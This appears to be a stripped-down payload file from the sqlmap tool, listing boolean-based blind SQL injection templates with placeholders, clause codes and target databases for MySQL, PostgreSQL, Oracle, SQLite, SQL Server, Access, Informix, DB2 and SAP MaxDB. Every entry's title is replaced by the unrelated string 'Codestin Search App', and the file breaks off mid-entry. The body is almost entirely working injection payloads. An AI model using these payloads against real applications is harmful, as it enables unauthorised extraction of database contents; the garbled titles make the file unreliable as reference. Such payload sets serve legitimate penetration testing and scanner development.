+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 1,2,3,8
+ 1
+ AND ELT([INFERENCE],[RANDNUM])
+
+ AND ELT([RANDNUM]=[RANDNUM],[RANDNUM1])
+
+
+ AND ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 3
+ 1,2,3
+ 2
+ OR ELT([INFERENCE],[RANDNUM])
+
+ OR ELT([RANDNUM]=[RANDNUM],[RANDNUM1])
+
+
+ OR ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 1
+ 5
+ 1
+ 1,2,3,8
+ 1
+ AND EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END)
+
+ AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END)
+
+
+ AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 1
+ 5
+ 3
+ 1,2,3,8
+ 2
+ OR EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END)
+
+ OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END)
+
+
+ OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 1
+ 2
+ 1
+ 1,8
+ 1
+ AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
+
+ AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
+
+
+ AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 3
+ 1
+ 2
+ OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
+
+ OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
+
+
+ OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 1
+ 2
+ 1
+ 1
+ 1
+ AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
+
+ AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
+
+
+ AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 3
+ 1
+ 2
+ OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
+
+ OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
+
+
+ OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 1
+ 2
+ 1
+ 1
+ 1
+ AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
+
+ AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
+
+
+ AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
+
+
+ SQLite
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 3
+ 1
+ 2
+ OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
+
+ OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
+
+
+ OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END
+
+
+ SQLite
+
+
+
+
+
+
+
+ Codestin Search App
+ 1
+ 1
+ 1
+ 1,2,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 1,2,3
+ 3
+ MAKE_SET([INFERENCE],[RANDNUM])
+
+ MAKE_SET([RANDNUM]=[RANDNUM],[RANDNUM1])
+
+
+ MAKE_SET([RANDNUM]=[RANDNUM1],[RANDNUM1])
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 1
+ 5
+ 1
+ 1,2,3
+ 3
+ MAKE_SET([INFERENCE],[ORIGVALUE])
+
+ MAKE_SET([RANDNUM]=[RANDNUM],[ORIGVALUE])
+
+
+ MAKE_SET([RANDNUM]=[RANDNUM1],[ORIGVALUE])
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 1,2,3
+ 3
+ ELT([INFERENCE],[RANDNUM])
+
+ ELT([RANDNUM]=[RANDNUM],[RANDNUM1])
+
+
+ ELT([RANDNUM]=[RANDNUM1],[RANDNUM1])
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 1
+ 5
+ 1
+ 1,2,3
+ 3
+ ELT([INFERENCE],[ORIGVALUE])
+
+ ELT([RANDNUM]=[RANDNUM],[ORIGVALUE])
+
+
+ ELT([RANDNUM]=[RANDNUM1],[ORIGVALUE])
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 1,2,3
+ 3
+ ([INFERENCE])*[RANDNUM]
+
+ ([RANDNUM]=[RANDNUM])*[RANDNUM1]
+
+
+ ([RANDNUM]=[RANDNUM1])*[RANDNUM1]
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 1
+ 5
+ 1
+ 1,2,3
+ 3
+ ([INFERENCE])*[ORIGVALUE]
+
+ ([RANDNUM]=[RANDNUM])*[ORIGVALUE]
+
+
+ ([RANDNUM]=[RANDNUM1])*[ORIGVALUE]
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 1,2,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END))
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 1,2,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
+
+
+ PostgreSQL
+
+
+
+
+
+ Codestin Search App
+ 1
+ 5
+ 1
+ 1,2,3
+ 3
+ (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)
+
+ (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)
+
+
+ (SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)
+
+
+ PostgreSQL
+
+
+
+
+
+ Codestin Search App
+ 1
+ 5
+ 1
+ 1,2,3
+ 3
+ (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)
+
+ (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)
+
+
+ (SELECT [ORIGVALUE] FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 1,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 1,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 1,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 1,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 1,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)
+
+
+ Informix
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 1,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)
+
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)
+
+
+ Informix
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 1,3
+ 3
+ IIF([INFERENCE],[RANDNUM],1/0)
+
+ IIF([RANDNUM]=[RANDNUM],[RANDNUM],1/0)
+
+
+ IIF([RANDNUM]=[RANDNUM1],[RANDNUM],1/0)
+
+
+ Microsoft Access
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 1,3
+ 3
+ IIF([INFERENCE],[ORIGVALUE],1/0)
+
+ IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)
+
+
+ IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)
+
+
+ Microsoft Access
+
+
+
+
+
+ Codestin Search App
+ 1
+ 2
+ 1
+ 1,2,3
+ 3
+ (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)
+
+ (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)
+
+
+ (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 1,2,3
+ 3
+ (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)
+
+ (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)
+
+
+ (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM DUAL UNION SELECT [RANDNUM1] FROM DUAL) END)
+
+
+
+
+
+
+ Codestin Search App
+ 1
+ 2
+ 1
+ 1,3
+ 3
+ (CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE NULL END)
+
+ (CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE NULL END)
+
+
+ (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE NULL END)
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 1,3
+ 3
+ (CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)
+
+ (CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)
+
+
+ (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)
+
+
+
+
+
+
+ Codestin Search App
+ 1
+ 2
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ MySQL
+ < 5.0
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))
+
+
+ MySQL
+ < 5.0
+
+
+
+
+ Codestin Search App
+ 1
+ 2
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/(SELECT 0) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/(SELECT 0) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/(SELECT 0) END))
+
+
+ PostgreSQL
+
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))
+
+
+ PostgreSQL
+
+
+
+
+
+
+ Codestin Search App
+ 1
+ 5
+ 1
+
+ 3
+ 1
+ ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)
+
+ ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)
+
+
+ ,(SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 2,3
+ 1
+ ,IIF([INFERENCE],1,1/0)
+
+ ,IIF([RANDNUM]=[RANDNUM],1,1/0)
+
+
+ ,IIF([RANDNUM]=[RANDNUM1],1,1/0)
+
+
+ Microsoft Access
+
+
+
+
+ Codestin Search App
+ 1
+ 5
+ 1
+ 2,3
+ 1
+ ,IIF([INFERENCE],[ORIGVALUE],1/0)
+
+ ,IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)
+
+
+ ,IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)
+
+
+ Microsoft Access
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 2,3
+ 1
+ ,(CASE WHEN [INFERENCE] THEN 1 ELSE NULL END)
+
+ ,(CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END)
+
+
+ ,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END)
+
+
+ SAP MaxDB
+
+
+
+
+ Codestin Search App
+ 1
+ 5
+ 1
+ 2,3
+ 1
+ ,(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)
+
+ ,(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)
+
+
+ ,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)
+
+
+ SAP MaxDB
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 3
+ 1
+ ,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ IBM DB2
+
+
+
+
+ Codestin Search App
+ 1
+ 5
+ 1
+ 3
+ 1
+ ,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ IBM DB2
+
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 1,2
+ 1
+ HAVING [INFERENCE]
+
+ HAVING [RANDNUM]=[RANDNUM]
+
+
+ HAVING [RANDNUM]=[RANDNUM1]
+
+
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
+ #
+
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ Codestin Search App
+ 1
+ 5
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
+ #
+
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
+
+
+ MySQL
+ < 5.0
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)
+ --
+
+
+ ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)
+
+
+ PostgreSQL
+
+
+
+
+
+ Codestin Search App
+ 1
+ 5
+ 1
+ 1-8
+ 1
+ ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1
+
+ ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1
+ --
+
+
+ ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 1
+ 3
+ 1
+ 1-8
+ 1
+ ;IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR]
+
+ ;IF([RANDNUM]=[RANDNUM]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR]
+ --
+
+
+ ;IF([RANDNUM]=[RANDNUM1]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 1
+ 4
+ 1
+ 1-8
+ 1
